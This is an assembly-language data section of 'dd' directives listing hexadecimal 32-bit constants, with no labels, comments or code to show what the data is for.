dd 11D51800h, 0C681ADDh, 0C9701E0Bh, 24363D70h, 3D982A53h
dd 395A6B3Eh, 605FC68Ah, 460897E1h, 0AC7917BDh, 87D4F462h
dd 1B9F1F3Eh, 54728ED5h, 22233361h, 0BA1EC5CDh, 0A79F3647h
dd 0D821F629h, 0CB3432E7h, 1C7BBDCAh, 3D3B502Dh, 8B8D66Bh
dd 3F25E2E3h, 492B55D3h, 4D962525h, 4B292827h, 0D0274FC4h
dd 335A76CFh, 377200D8h, 1FAEB439h, 3C3E993Ch, 52904E4Ch
dd 0CA5D203Bh, 0D9DA2807h, 457BA84Fh, 0AD12382Bh, 1865382Fh
dd 0E33D3469h, 3B996B35h, 29AF3724h, 22EA113Eh, 5CE11A1Fh
dd 9003322h, 0CE2226F9h, 2FAA2AE9h, 2130668Ah, 3F35E66Fh
dd 3C39312Eh, 483E7239h, 191A7B10h, 3C1FC684h, 2500B0B5h
dd 2929392Fh, 0BAA52078h, 3A7F27DDh, 64613881h, 3E3EC55Dh
dd 0C395A4Bh, 1EE35604h, 0E03E1F1Ch, 21FAF135h, 0CF4A2DC5h
dd 2CFA784Eh, 57C62458h, 35D10FB0h, 3E05305Ch, 0C45B99BDh
dd 0B7D73C8Ch, 530D2D7Ah, 0B2EBC82Dh, 0EA34953Fh, 45A55C54h
dd 0DA0BEC5Bh, 42415F2Ch, 5702BB83h, 93A7C73h, 39FF066Bh
dd 0A7D91D8Fh, 10C7B1Eh, 44504C56h, 5A08274Ah, 5E48454Fh
dd 14300F14h, 463E3356h, 39565655h, 52521B00h, 68681F4Ah
dd 546D7F9Dh, 23234644h, 49274A32h, 622F2A50h, 202F4F41h
dd 40567C30h, 3A37A795h, 297A3D74h, 109FB6EDh, 1F535951h
dd 4E6E1D21h, 459611F5h, 292A7D68h, 5D42425Bh, 217DE15Bh
dd 3615323Dh, 0BC48AD0Ah, 53AE00ACh, 581810DAh, 0B973537Eh
dd 0D6242621h, 0F11B7F2Fh, 2E01AAEDh, 3331AE16h, 39EEB032h
dd 3AF7BD37h, 4ABBB638h, 442C1A14h, 2555DF9Ah, 0B5CF2291h
dd 76A6AA32h, 0CEC44EBAh, 0B530283Eh, 0F6A03CF2h, 3B4CECB2h
dd 3F3F283Dh, 0C3F73B3h, 0BCEB3AF5h, 32244FF6h, 2020262Dh
dd 9D3E06E8h, 5E29232Bh, 950E3760h, 2F3A5741h, 993C98h
dd 13BE5B6Fh, 4130DD1Eh, 0F22A4979h, 263FAEC5h, 4974EF3Eh
dd 2E3C0367h, 232CD960h, 2E761554h, 3CDA3ACAh, 1B6E3BB7h
dd 20FD7BF3h, 773124AEh, 2E244FCBh, 6A2849FFh, 7B2659F0h
dd 84D2F8C7h, 0FED30B8h, 314C2045h, 3A256AB0h, 1DBD0EB6h
dd 67AB16F5h, 6BAF4B3Eh, 10CDD73Eh, 2C9D31F8h, 24B92332h
dd 34853393h, 2576BC2Eh, 2174B222h, 221F09h, 0F9F75A1Ch
dd 6F2360h, 50264659h, 2CAB7B3Bh, 30BF7C55h, 1464635Dh
dd 0B3656660h, 44391AF7h, 7AD72A3Fh, 0CF123FEFh, 0CB237D20h
dd 0F57B4890h, 2BFB0D28h, 0CC7137ECh, 0B20E8730h, 7929F732h
dd 3F4A3838h, 82B21D68h, 0B633CC76h, 0E53D20A8h, 383D0067h
dd 57092B27h, 0A3E5A729h, 66BC902Fh, 66051033h, 68786D62h
dd 63D53C6Ah, 9E1E1BABh, 5420E0E6h, 24244B1Ch, 292A2727h
dd 0F7483ED5h, 31BB2E2Ch, 0CA643212h, 1D385F23h, 393CFFB9h
dd 8392A0B7h, 0BF968194h, 0DB67EDA8h, 6CE862EAh, 68E46EE6h
dd 74E06AE2h, 70FC76FEh, 0F773F9CAh, 0F37FF57Dh, 0D47BF179h
dd 0D05AD258h, 67ED3E64h, 63E961EBh, 6FEC6DE7h, 2F2F2D65h
dd 4B716E6Fh, 5644734Ch, 735F5438h, 4B3F3518h, 3F54A12h
dd 2223DC1Fh, 22E1A722h, 74EF68ACh, 2F2D28E9h, 3BF60120h
dd 0BFBE6830h, 0BF3B6437h, 399D48F2h, 0E6F0F36Eh, 27792C1Eh
dd 1429224Ah, 2D288642h, 2944D440h, 730AADFh, 10BD5762h
dd 0B83C3736h, 0DFB0536Bh, 0F47272BEh, 0B7FD74Fh, 76D1B7ABh
dd 0D75DFA0h, 3C06DAAAh, 0CF4B4422h, 3A73E224h, 853DFD9h
dd 2416DA17h, 395E1E5Dh, 30E10771h, 2C222E0Eh, 28262A24h
dd 242A2628h, 8C2E222Ch, 73ED313Fh, 0EA565DCBh, 0F508FE0Ah
dd 0E70CE90Eh, 0FB2FC329h, 812012Dh, 71166D10h, 461A4914h
dd 0E41EED18h, 0C502D91Ch, 0D010700h, 550D7803h, 0DF09490Fh
dd 0E528E90Bh, 715112Ah, 17110817h, 691D1E13h, 63196C1Fh
dd 0B0057A1Bh, 9401BD07h, 61380D7Ah, 48064B00h, 1C21BE04h
dd 1A87248Eh, 1E9F1885h, 0E51DE725h, 0C611CF13h, 0AD92E17h
dd 0F20093Fh, 0F170D2Ah, 0EF000602h, 1BAF3A2Dh, 1F261F1Ch
dd 8117A223h, 128E2511h, 1EE21C97h, 102E171Dh, 9208740Ah
dd 75305F7Fh, 4CAC6Bh, 0FB8B4FBh, 0F036919h, 373122BDh
dd 22E4AAE3h, 8AA24EE4h, 0E71E137Dh, 602BF0A6h, 2A6F3473h
dd 0EA214F66h, 1E3D8C59h, 0C381B0Fh, 6FAD687Dh, 3352C261h
dd 19D9DCCEh, 0BDC47B1Eh, 3D50257Eh, 31373262h, 2CC73765h
dd 3C3EE3EEh, 9053B465h, 41F9A39h, 0B5602391h, 0A4E3A2A4h
dd 28E92969h, 0A04E2F2Dh, 1F330D06h, 4E9C7635h, 0EF3C9178h
dd 903F686Ch, 3B6A94EDh, 0AB6CAC24h, 67B9CD20h, 3264A44Ch
dd 3F645E2Ch, 0BBE20319h, 0C773B20h, 0C848F2C0h, 5DBE1BADh
dd 1E129CF4h, 2D262010h, 26252B23h, 26A42C21h, 220DA1ABh
dd 0FA3DBDA6h, 0BF213462h, 0B7F00BB7h, 0B1E66CBFh, 955434CEh
dd 5240383Dh, 25762CAAh, 297A7235h, 362C793Dh, 747E2F0Eh
dd 677B6466h, 6938177Dh, 6F7B7468h, 143B727Fh, 202F302Ch
dd 6A626E2Dh, 66662268h, 457C2FAAh, 30404A43h, 52134146h
dd 6F17445Ah, 5B103A38h, 6B4A514Fh, 2C0E3D6Fh, 6243100Eh
dd 917682Eh, 1B721B08h, 0BCCD74DAh, 2D62D34Bh, 0BDDE5531h
dd 5F3F2D69h, 570D382Fh, 3B64AEEBh, 22C7251Fh, 26AAAE67h
dd 0C1BEA222h, 77F87A09h, 363437BBh, 235A313Fh, 359A3838h
dd 0C111033Bh, 31239357h, 890C5C49h, 572D4931h, 5482B07h
dd 0F22B9B28h, 0E16E060h
dd 143130B6h, 3CE232E9h, 38131DC5h, 7D13537Ch, 241D757Eh
dd 504A4A76h, 2601825Ch, 232A4672h, 802B91A3h, 40135335h
dd 5E525A41h, 6A1BBC28h, 6F5A5705h, 1BE8BF2Ch, 1A132088h
dd 31961152h, 892BCB0Bh, 1E2FC911h, 32D022D8h, 7F37D13Bh
dd 0D939D108h, 0DC32DC3Dh, 0F635331Ah, 23C0BEECh, 824C090h
dd 0C8CAA2CFh, 2FC9A92Ah, 0D0E2D802h, 0D2629632h, 0F9D11436h
dd 0DA143DD9h, 0F537533Eh, 0DA21FDADh, 0F25C029h, 0AD27FCA3h
dd 0C5807EAAh, 207CEF16h, 63719231h, 0B126078Fh, 0AC18BFB3h
dd 3897B62Ch, 0A14455BCh, 3C75B241h, 37B53EC4h, 734B83Dh
dd 0F314EBEDh, 24FFB53Eh, 0ED3646E7h, 3F6BFD68h, 0D4FF6F39h
dd 4D772C38h, 36DD0D03h, 0A5DF16EEh, 0A62A3569h, 51E81590h
dd 31B919ABh, 0D038D4F3h, 0B0FD323Ch, 31DE6CC6h, 0DCE52FE2h
dd 4741081Ch, 87022CD9h, 0C54C48CDh, 4CCEED3Eh, 0CA531024h
dd 24F6EBB8h, 32BC2A77h, 7FE9D30Bh, 0FFDD0B2Dh, 0FB2B1B0Eh
dd 24400802h, 8D0CAB66h, 4C7F282Ah, 2005320h, 4405DBCDh
dd 28042C3Eh, 0FD613DD2h, 0BC194F35h, 0D0941D1Dh, 2A26F680h
dd 3B2E59CDh, 20DA2715h, 0D824BE24h, 343B6D50h, 32432437h
dd 0BD336A32h, 0EBB41EEDh, 2C0A1FF7h, 0CB722908h, 17246616h
dd 0A02C178h, 7F122F6Fh, 31712FD8h, 0DF72657Ch, 5330D82Ch
dd 61DE06E0h, 3A499C96h, 6FC9727Bh, 435E512h, 0BE3AC813h
dd 3EE92F2Bh, 1DE1D824h, 76CACB00h, 26591C35h, 34B53E5Fh
dd 1F7D00D7h, 0C1C81E8Dh, 24B64004h, 2D282607h, 0CE25587Ch
dd 0A0317336h, 34CCB003h, 0B26F2F42h, 1CF8066Eh, 6B3B4F5Dh
dd 0DE5E2FCAh, 51340210h, 2AF379D5h, 741E320Bh, 13224FD2h
dd 0D03F373Ah, 8D3AF239h, 5F349937h, 1F3F022Eh, 7A6C7C6Bh
dd 56677D20h, 7484043h, 5853297Bh, 5C434858h, 5B32656Ch
dd 5B711551h, 3B535D59h, 4D51495Dh, 45161C68h, 23292B1Ch
dd 404A5701h, 224C4315h, 28282C52h, 4652710Eh, 5F43345Ah
dd 54565144h, 513D6F67h, 464244F9h, 202013DCh, 2526B328h
dd 7F283BEAh, 2DA1DAA1h, 0BC200B6Ah, 6538177Eh, 0F8DFDF36h
dd 0FDB8C4C4h, 4B237F4Ah, 2C3B6296h, 64330621h, 0D6985ECDh
dd 3E2A7AD6h, 0BB7E2E7Ah, 0F24FDAFFh, 3A72C9CBh, 2C3A3F15h
dd 1B143E02h, 0B776E276h, 23226298h, 27874125h, 2B4E792Ch
dd 2B2E08A5h, 0C2B96761h, 1342BC34h, 9ABAD13Ch, 57C12DC1h
dd 487D534Bh, 23306E92h, 26317DA3h, 62FEF23h, 2BAD3DCAh
dd 32A68AC7h, 3E11786Dh, 64FFB337h, 0FABE3F1Bh, 8717F21Fh
dd 2329FB53h, 0C925926Dh, 0A0E4AC3Eh, 508CB4Eh, 308DC77Eh
dd 7536407Bh, 0D12A3F2Ch, 793DD315h, 0EF86D76Eh, 2B4A1EFDh
dd 221306B5h, 2AE72D57h, 3F333659h, 2CAFE2C5h, 34832183h
dd 0D0222E36h, 3F4A162Ch, 7D39ACA9h, 11AC4DFDh, 438EC972h
dd 0E7186509h, 9C9B2828h, 7F3E4720h, 6127CE66h, 0B4345500h
dd 0DA3F09C0h, 3913F96Ch, 1E1DCC97h, 4A694A58h, 960819CBh
dd 0A5797E17h, 9EEB2D9Ah, 71A10D2Eh, 19E53580h, 0B16062CBh
dd 0CFC1867Eh, 24E71706h, 0E8501B11h, 614C722Ah, 0AC686BABh
dd 8C7D7B7Ch, 313B5F44h, 2543D307h, 184CB594h, 8A5D6FB1h
dd 2F1F1B3Eh, 201EA6D4h, 0E6A62222h, 0F9662751h, 0DB2B5FC9h
dd 200B7AA6h, 346DF4BAh, 2D5734B4h, 0BEFB31B8h, 7AF2636h
dd 2DFE9091h, 0A32B61D7h, 6517244Fh, 2A90DA21h, 936B1C27h
dd 0B633D1B3h, 0B33935F4h, 0B0393930h, 0D66A3971h, 0DD091C0Bh
dd 2326021Eh, 0E26D693Ah, 6168D7CEh, 20EC3C03h, 3CFA9398h
dd 3535248Eh, 0BE3214DCh, 7A8DFE99h, 0E224473Fh, 0E6E0176Bh
dd 20CF2622h, 0E12FA79Dh, 1C6C6A83h, 0BA6E7029h, 0B015F3F1h
dd 4C58F7F7h, 0F8B76436h, 8F9A1A3Fh, 1F385C9Ah, 72230440h
dd 6A4D224Fh, 8BEA09F7h, 45EFBFACh, 0BF173431h, 0B3A2420h
dd 0B15758F9h, 90155643h, 5F3ACDD3h, 21222370h, 25264E4Ch
dd 1A463F18h, 36FE2A3Ah, 0C3762C01h, 3436B55Ch, 1DEA246Ch
dd 344E66ADh, 0D8DD991Bh, 22E1049Bh, 4E9DA027h, 2F5C22C6h
dd 254F7493h, 3BDE3F49h, 33CA3CADh, 6BF53838h, 5E7D546Dh
dd 2E1D19F4h, 806B2CE8h, 22C6BB68h, 5D1807AFh, 33064B08h
dd 352E2F4Fh, 549EDB62h, 0B264F71Dh, 3A1DCBA0h, 0D63EF7Fh
dd 92C16B1Fh, 68002122h, 0F0D03E85h, 0CCA8EA32h, 91402EAFh
dd 85B6F731h, 4E393535h, 894D3A1Eh, 1B3544B4h, 89D4E22h
dd 23545BABh, 0FCA23509h, 0BAF585Dh, 866E0960h, 19D5AAB3h
dd 0B73D6931h, 2BB3725h, 372BC27Ch, 1D1C1EC0h, 0A9351C66h
dd 113AA6FBh, 0F1AC37A7h, 2C2DD32Bh, 0B95575A6h, 0B5613470h
dd 7FB03DCFh, 393D4153h, 18745EF8h, 21AB1C1Eh, 0A59D7371h
dd 0E91B2426h, 0EE28942Ah, 64B92E2Ch, 46B9335Eh, 0B293C427h
dd 0BD356B79h, 1D4A6F23h, 0C8396525h, 0D98F22BBh, 0E6AC76DAh
dd 310BD3A2h, 2E7F0D21h, 0DC132D90h, 0F06F3767h, 0D260BED1h
dd 4DCF3E5Dh, 3BDEC7F4h, 0A82777Ah, 876B3452h, 0EEBE300h
dd 0A6784D3Fh, 2356D920h, 8F37A435h, 0EB3B282Bh, 1E6AD53Fh
dd 974B1719h, 6EC92817h, 0E2A627E3h, 0A9A5A52Dh, 46257E29h
dd 34B10D73h, 0DE5C7BBEh, 0C6F3A637h, 0ADB2B6C4h, 4D1F3B3Fh
dd 71B49894h, 0CD4C7222h, 0F9C9BBE3h, 3CECD137h, 357130DEh
dd 350C26B6h, 0B82EBC27h, 793689C0h, 1C7B8ABBh, 0D0709EBDh
dd 64239B22h, 26D82555h, 0DF78C2E7h, 4521D129h, 34363CC0h
dd 3D361B32h, 32CE34C6h, 18CF556Dh, 0EADA13E7h, 3C83C22Eh
dd 0B9CE2BDBh, 0D42F3917h, 0DD20D222h, 0C985873Eh, 0CA30473Ah
dd 0CA87AB36h, 0D44DBD32h, 7EFEA015h, 0EC2FCF1Ch, 0E57B2593h
dd 4E9C3126h, 44292C8Ah, 893158D0h, 373577B7h, 3AB05C67h
dd 0BF393C1Eh, 1D1D47D3h, 74731D1Eh, 190A874h, 2028265Eh
dd 0A0D5A07Dh, 0B1BD5140h, 35381ABDh, 0B806DF34h, 0F0B71B66h
dd 9DDD7FD6h, 2D6B47h, 74736DACh, 0A974CEC9h, 6B4D6E2Ah
dd 56692CEDh, 0A5A53331h, 5E6351B5h, 0B1ABFB10h, 2D22FF25h
dd 9E499C32h, 0CA20E46h, 6FF243B2h, 384CA639h, 2A6EBDC4h
dd 0A073D960h, 51A54234h, 5DBD7D2Dh, 59B53EA8h, 934C8CAFh
dd 0F17F7D40h, 29328B71h, 25292727h, 2E28872Bh, 0F239368Fh
dd 1D53025h, 421DE881h, 6D9AD46Bh, 8206DE74h, 743A8F04h
dd 393AC2E3h, 9C07471h, 35FC103Ah, 2B9133ACh, 6A3245F7h
dd 9922466Bh, 3DC3C407h, 4A1BFA3Ch, 0AD58151Eh, 14CB1D6Eh
dd 0A42C2764h, 2F2BA20Dh, 330D256Dh, 3F78396Eh, 5234369Eh
dd 1CAFD261h, 0F613814h, 1A3E431Eh, 0D56C7F22h, 79275DE4h
dd 13A34829h, 6E3E6AACh, 631A2ED0h, 5732F4B7h, 3F4A1D3Ch
dd 0FFDEE0D4h, 95DE4542h, 2DEC87Ah, 33DAAC56h, 0D5372813h
dd 2C6DF60Eh, 37330C2Ah, 34052530h, 0B2F83932h, 3F4D19C4h
dd 1E1E1BF8h, 2334D81Fh, 0E22323h, 0CD76524h, 212C7A0Ah
dd 0B1F3EF1Dh, 21362B36h, 3BBA6222h, 313EB92Ah, 161A593Eh
dd 3E151CDDh, 24082839h, 1E2D2244h, 2D05202Dh, 9DD8362Ah
dd 86E4B393h, 603337B4h, 2CFD3E3Bh, 0F293EE39h, 17D9CF2h
dd 4322C3C6h, 27C47404h, 0CFFCC0ECh, 2DCAE32Eh, 33D096F6h
dd 37D61554h, 3138B180h, 0FC47383Eh, 0AE42B50Eh, 0DE2AEF84h
dd 75143562h, 0C2797F57h, 4E290CF8h, 0B1113126h, 0BD37CF33h
dd 0B9344CCFh, 4A3C54C0h
dd 0CD070A37h, 268113FEh, 59632BD4h, 0A2CD8727h, 6DDA18E9h
dd 79385B66h, 4213B47h, 49FF31DEh, 0B63E2E59h, 8181F2Fh
dd 3477A64Fh, 4425821Ah, 68246688h, 8DA42808h, 0F08F6E24h
dd 0CB329330h, 39178E20h, 0EDD36A29h, 3F22FB2Eh, 9E2F51F4h
dd 8B37DE31h, 23671364h, 0A803B5A0h, 4CEA3833h, 129B1536h
dd 0C9363AF1h, 33C83937h, 987EFC85h, 951F9545h, 63ABA1DEh
dd 0A0AC3A12h, 0A0FFEF0h, 0E74E0E2Eh, 0B931265Bh, 42F5B132h
dd 40B06827h, 3A1BD90Ah, 78FF1C9Eh, 27807407h, 25AF9737h
dd 0C82720A7h, 2A256B24h, 0B8402EEEh, 0B7F40033h, 50595A31h
dd 4F285A54h, 131C4F59h, 49710F8Dh, 26B34355h, 0AB262648h
dd 264B2BC8h, 0D05C0C58h, 5C475331h, 3A3739C5h, 3FCAA73Bh
dd 684A5459h, 799E4268h, 23544844h, 25774F26h, 74755928h
dd 4243424Fh, 83569B5Fh, 0CBB68D34h, 0D33839C7h, 232F3D2Ah
dd 764A4A0Bh, 0DD35516Fh, 0FE27B836h, 0AFD98E37h, 0A56058DDh
dd 82910D0Bh, 47695C33h, 32C66E36h, 0BC7554ECh, 0DFE4B83Fh
dd 0F121351Ch, 25F71B22h, 0A228F5DAh, 2C7D2227h, 3170DB8Dh
dd 17A63E28h, 0C96C2687h, 0C63D3AC0h, 0AEED612Fh, 4ECD0F3Ah
dd 8BCF2270h, 0AAA52D54h, 668A875h, 0E8118C00h, 45B09563h
dd 91430819h, 0A5D23B58h, 0AA61F7DFh, 68F321Ch, 2C40EBB2h
dd 27779F31h, 2B7BA4B8h, 0E4DF6BEh, 0EC0925F4h, 46F52947h
dd 6BFB2378h, 7FC6D56Ah, 5E1FDF7Ch, 0E7A204EFh, 54FA1F63h
dd 0EA1ACCA7h, 0C31E2EC0h, 2A311EAFh, 0DF36C918h, 0FA6DB560h
dd 6C68240Bh, 19BC7AD7h, 70FF08EEh, 2A6D0C52h, 0AA282826h
dd 31DC2399h, 0B1C9F15Eh, 0B8CBFC23h, 351C7B36h, 791847B3h
dd 0EA786FD6h, 0A9DE1E3h, 0FF09A37Fh, 3C0DA724h, 29412943h
dd 0B0222047h, 30B13D31h, 1C6306B4h, 351B5001h, 0E6FAD66Fh
dd 4C2A2D9Dh, 2212A225h, 0DCC79CA4h, 0F37AD6D6h, 0EF6A472Ch
dd 57166DB8h, 136D2DCh, 2F2A2138h, 3F62A1D4h, 0F6D29753h
dd 2C20B49Dh, 0CE3B6BAEh, 223929ACh, 2F145443h, 0DA587EB5h
dd 0F235355Fh, 3AADB6BDh, 3EABB638h, 4D1F1BACh, 0E4484D4Fh
dd 25C5BF62h, 29E0CF27h, 0D62C0FAAh, 0C232C6EFh, 34FEB899h
dd 3AD958E6h, 97CFD6BFh, 762EBF40h, 0C81E741Eh, 251082C5h
dd 5C6F48E5h, 255F623Bh, 2B5A2E65h, 5559485Bh, 52373CDEh
dd 0D77A5063h, 0B065439h, 0DCF62D76h, 27AA2323h, 1C60C53Ah
dd 4A292920h, 2F3E2DCDh, 0D2935E33h, 34362434h, 0BE3ADD45h
dd 0B2943DD8h, 0FA881CFFh, 22C5BD1Fh, 8C25C086h, 9F29CC8Ah
dd 0CA902CCFh, 32D5F52Fh, 36D1F999h, 0E739DCE2h, 0DAD83CDFh
dd 0F9F1313Fh, 21C4EA1Eh, 2024C7DFh, 0A24E7D5h, 37C47B20h
dd 31278FF9h, 5531A3AFh, 2D2D3F23h, 153CC832h, 0EF1FD733h
dd 44B2E1Dh, 94066ED5h, 3A69A21h, 593BA7A4h, 0E1248EC5h
dd 963CD235h, 0F8B23455h, 0B4AD3C4Ch, 6FDF144Fh, 0AFBD0D64h
dd 23573321h, 3B33253Eh, 6AA76E6Eh, 0DF153DD3h, 0B2B2844Ch
dd 0F7686A28h, 67B23888h, 783AC216h, 87B075BEh, 60A31B6Eh
dd 0A4715595h, 5BAB6656h, 0DFC5647Bh, 0D05B243h, 31D00CF5h
dd 2FE3C34h, 0BE2E0BFAh, 15E33543h, 0A0266A13h, 31A49B0Eh
dd 5A96270h, 2630EB22h, 3AF274C6h, 3EF4621Eh, 79F7BC12h
dd 2C7CE73Fh, 68F33732h, 0ABB69E24h, 754FCAECh, 0C0EC27E7h
dd 0A72AEA4Dh, 0B47FBAEDh, 367068D9h, 68DF6611h, 46B387Ah
dd 5D79D66Dh, 1D5D211Bh, 19DD1BD4h, 1C2A1E22h, 37113E28h
dd 1C150B17h, 877310Bh, 0C790E7Eh, 0AF3A0264h, 0F7058507h
dd 1E26F420h, 19D51BF1h, 27251FD9h, 162F1427h, 12091027h
dd 60D3001h, 76090E0Fh, 6397E0Bh, 26F0077h, 0D422767h
dd 0EAABCFE9h, 2107E601h, 91992CE9h, 0A0ED2836h, 49322FA2h
dd 0BEE35996h, 0F838BCE1h, 0FC25D3FBh, 1C1038DFh, 0ABD81DDCh
dd 0D3F301E9h, 0E304F705h, 2F0BE022h, 0FA2F2D0Dh, 621AA6BCh
dd 38DFF182h, 0D5FAF0B2h, 17DDFF29h, 0FB971DF8h, 0C7A38B20h
dd 27C25C24h, 422ACD59h, 4E842DC8h, 0D76B31D4h, 37D26434h
dd 913ADD71h, 63ED97Dh, 0FA2C1CFFh, 22C5091Fh, 26C10569h
dd 9229C83Eh, 0FF196EC3h, 522EE531h, 362A342Ch, 93D0A6F2h
dd 0A0590DB6h, 0F514051Dh, 23915696h, 3069AE3Ah, 58F9CFAAh
dd 412D9B25h, 3BD136C6h, 3FB4A67Ch, 32783DD6h, 37B86B68h
dd 169BF47Bh, 600F730Dh, 74721E23h, 273FE72Ch, 272B9569h
dd 2C7F2E1Dh, 37330E61h, 6C375634h, 80B23E39h, 4BFC651Fh
dd 161D7BF4h, 21231131h, 9487E6AFh, 2E715DDEh, 3F6A387Ch
dd 47FBB410h, 0EC16B009h, 0B3B1004Ch, 0F6BB2DFCh, 3A51951Bh
dd 1B37540Fh, 522D6452h, 2660A32Ah, 0AA582CD8h, 3051DBDFh
dd 66632146h, 6A016426h, 0C1E3E2D3h, 0F1745BC0h, 20205B2Bh
dd 15602202h, 510CA3E1h, 290C282Ah, 0D27A2DC6h, 0B11432B2h
dd 0BAFE2337h, 0D574393Bh, 1D7BDA2Ch, 217C719Dh, 0FACB420Dh
dd 98D8D9C7h, 2F23AB28h, 0BDD91D3Dh, 1B3BB24Dh, 4C33DBB0h
dd 3853C553h, 953F8635h, 1B1EBC78h, 0AA462970h, 0CBA12501h
dd 2BA17A34h, 96EE1EF5h, 33D0A8EFh, 73BF3434h, 2B93D1Ch
dd 4B3F3D3Ch, 66DC9F17h, 0DB29A15Fh, 3225871Ch, 0D2AAC75Bh
dd 372C3F29h, 3394BF20h, 0BB353633h, 2D1B3015h, 955C387Eh
dd 5F727A57h, 5309BF79h, 0A4474A54h, 40C04197h, 2E0C194Dh
dd 359E8B10h, 7A8C9631h, 0B5D1C36h, 37FC39D8h, 129A3E93h
dd 6D5C1E4Eh, 43424C40h, 81A5440h, 47EE852Bh, 4F2F2AA9h
dd 405DAE50h, 7716727Bh, 3C78531Ch, 1D3F363Ch, 421CFD47h
dd 2264011Ah, 43062EE4h, 45594C47h, 3FCEEC0Bh, 47415848h
dd 363E111Ah, 3811C037h, 3C3D383Ch, 7CDD2D3Bh, 21462ECDh
dd 484C4653h, 0AF2A4E43h, 4D2E8A26h, 325442A3h, 3911D6BAh
dd 3A382CB2h, 0D4D53E63h, 1ACC015Fh, 7F704E13h, 14E0A226h
dd 7C7BE425h, 7B347B7Dh, 479014C6h, 0CDBF1112h, 3CD06B65h
dd 1DEC30FAh, 2CA66B8Ch, 0A53B1117h, 6267028Eh, 8C237715h
dd 15282A29h, 0BD202243h, 0A7FBAA7h, 5CA15661h, 0AA1B5607h
dd 9F0142B5h, 218A88FCh, 0ABB781BCh, 47921B88h, 0E714EDBDh
dd 0F3A6B80Ch, 0A7D2D50Eh, 97CA0BC0h, 436B1ACh, 1BAA5D28h
dd 8A3D3024h, 661E1C97h, 1971B7C3h, 0A2BA887Bh, 4E591347h
dd 132710A6h, 5C231428h, 6D396833h, 0C6BEEFC4h, 0DD1A6F3Bh
dd 0E1124141h, 63A4E079h, 7F2C3987h, 1E2EEB7Bh, 3EF614FCh
dd 6AF6A7B2h, 62FABD68h, 0E2392B99h, 3E9B3B17h, 8C944B4Eh
dd 243BA005h, 5DAA7024h, 0B4B7C68h, 6E01E94Ch, 36DB335Bh
dd 0BB92E594h, 6C6806FEh, 1ABF7698h, 100EB2DBh, 75378520h
dd 2B86F2CCh, 7DE2265Ch, 2FEBE7C4h, 453DC245h, 16313538h
dd 713BC6ACh, 6D6F6C7Eh, 16155190h, 60817594h, 972AD433h
dd 6FA03927h, 7E69EAA8h, 3024CF79h, 7D1B35CFh, 36FDBB3Fh
dd 20D5386Ah, 9443733Fh, 0A17E1775h, 7EE4107Fh, 290CE3A7h
dd 16EF2B5Ah, 0BC195AEBh, 8C34774Ch, 873B373Eh, 3D786EDAh
dd 0B9E83E3Eh, 284C95B9h, 0D5CB7051h, 287F29B6h, 5D3C09B3h
dd 5E7A2D25h, 5D6538D1h, 77734150h, 5457795Fh, 1934733Fh
dd 95774648h, 3522240h, 9035051Ah, 2B4BB72Bh, 5F5B595Eh
dd 5C545F79h, 7C547535h, 7E746B7Dh, 0D1E0E70h, 72717835h
dd 55231B7Fh, 6555787h
dd 10265A64h, 26CD7A22h, 0B51BD9F8h, 116535B3h, 0FABD0586h
dd 39FF244Eh, 0DC3C0BCCh, 91959636h, 140CC122h, 396DB178h
dd 52CCC327h, 157C704Eh, 34306252h, 3AF7DF3Ah, 3C38733Bh
dd 0A2F32B3Ch, 242F1F1Eh, 89CB2320h, 0E0AC227Ch, 2FF272A2h
dd 232C6BFDh, 37250332h, 9BE0625h, 3B090FB2h, 6AB63CEDh
dd 2A95190Ch, 0AA22E019h, 0AC622D55h, 0A2236B1Dh, 2B9F215Dh
dd 2AFA13BBh, 350AB830h, 382619E8h, 3187C014h, 6F5C288Bh
dd 0DA84D31Dh, 8577CC09h, 0BAEC2C52h, 16BD4813h, 3270D810h
dd 5737D432h, 68591817h, 4EED2BD3h, 51E1E7Ah, 82EF21F6h
dd 2424F2A6h, 0FA7D17CEh, 0AB58672Ah, 5530CC0Ch, 0F225B544h
dd 0BF493636h, 0FF28284Fh, 0F34C675Eh, 2010290Ch, 0BC07AE23h
dd 6E524E5h, 0ADD7049Bh, 0BC2FDFE9h, 3B185D16h, 37373935h
dd 3C343939h, 0ACEF3E37h, 1F2BD11Eh, 23E5E0ABh, 0C7262D25h
dd 0EC2B296Bh, 1F2F3DACh, 0A3F13730h, 6D3B353Dh, 0CA3AB26Eh
dd 0C09658D4h, 1E59EAE4h, 63AA5302h, 27229A24h, 28906225h
dd 388F8814h, 3290AFF0h, 0B47B12B9h, 0FA5A1A15h, 0F5395DE7h
dd 1DBDD284h, 23017558h, 564680D3h, 9E7C5DE7h, 1F2CABACh
dd 33DD0C2Ch, 29A65B1Bh, 2E3B3657h, 6A823B9Bh, 85BF3CBEh
dd 0D8943B9Dh, 25232A49h, 6CA2E713h, 3C41660Dh, 2CAAE82Ch
dd 64323511h, 0B1F936BEh, 3CB71EA5h, 0B42BB73Eh, 85169D85h
dd 0E4EA2421h, 20073EA0h, 8B947209h, 27BEAD1Bh, 32B433EBh
dd 1AD63E54h, 7DB070h, 0FF7F3B3Ch, 2394890h, 6652094h
dd 269AF37h, 2A287A35h, 0D1083827h, 0B33330D0h, 3334D5B9h
dd 2A213867h, 343CDEBAh, 21C4A55h, 3B3F1E04h, 3E203C2Bh
dd 8140A774h, 2C2C6F17h, 13662F46h, 0CA1EB25Ah, 6B8EF23h
dd 15BCFFB9h, 0AE1B5506h, 0A8E0214h, 0AFB182B0h, 218474EAh
dd 29CB282Bh, 8D0E3BAFh, 5C571675h, 0B2417631h, 1629DA69h
dd 0C38B38CEh, 2B1DDC1Eh, 22027044h, 131CB52Eh, 0A1AE263Ah
dd 9A61C15h, 1766A321h, 0F3328520h, 3E4AC1D0h, 473D2C4Ch
dd 0A9E1F0Fh, 2135AE1Ch, 2530BD75h, 3FD12997h, 2F65EC28h
dd 0A72A2607h, 6E347C10h, 3B393972h, 4BF59783h, 553C1A6Ah
dd 2065A71Fh, 0EF256B62h, 492962CEh, 31342A62h, 307803FBh
dd 34717B68h, 79397296h, 113C0824h, 52287D0Dh, 202C492Eh
dd 175B1140h, 1BB6155Bh, 92188729h, 0D51CE01Eh, 7D93202h
dd 0BC905C4h, 0B9330E3Ch, 10CFB409h, 2BED29F1h, 0B0170E00h
dd 2C54FF11h, 42A1F01h, 6F18161Ah, 33047906h, 163037Ah
dd 93723172h, 8A763C89h, 1E0D3818h, 8205207Bh, 738D0023h
dd 0E210CCFh, 0A1092DEFh, 8B69202Fh, 0A235B89Dh, 3A811B37h
dd 0D6856E18h, 2A1E9CA4h, 3220661Fh, 0B537237Ah, 0AF06CF77h
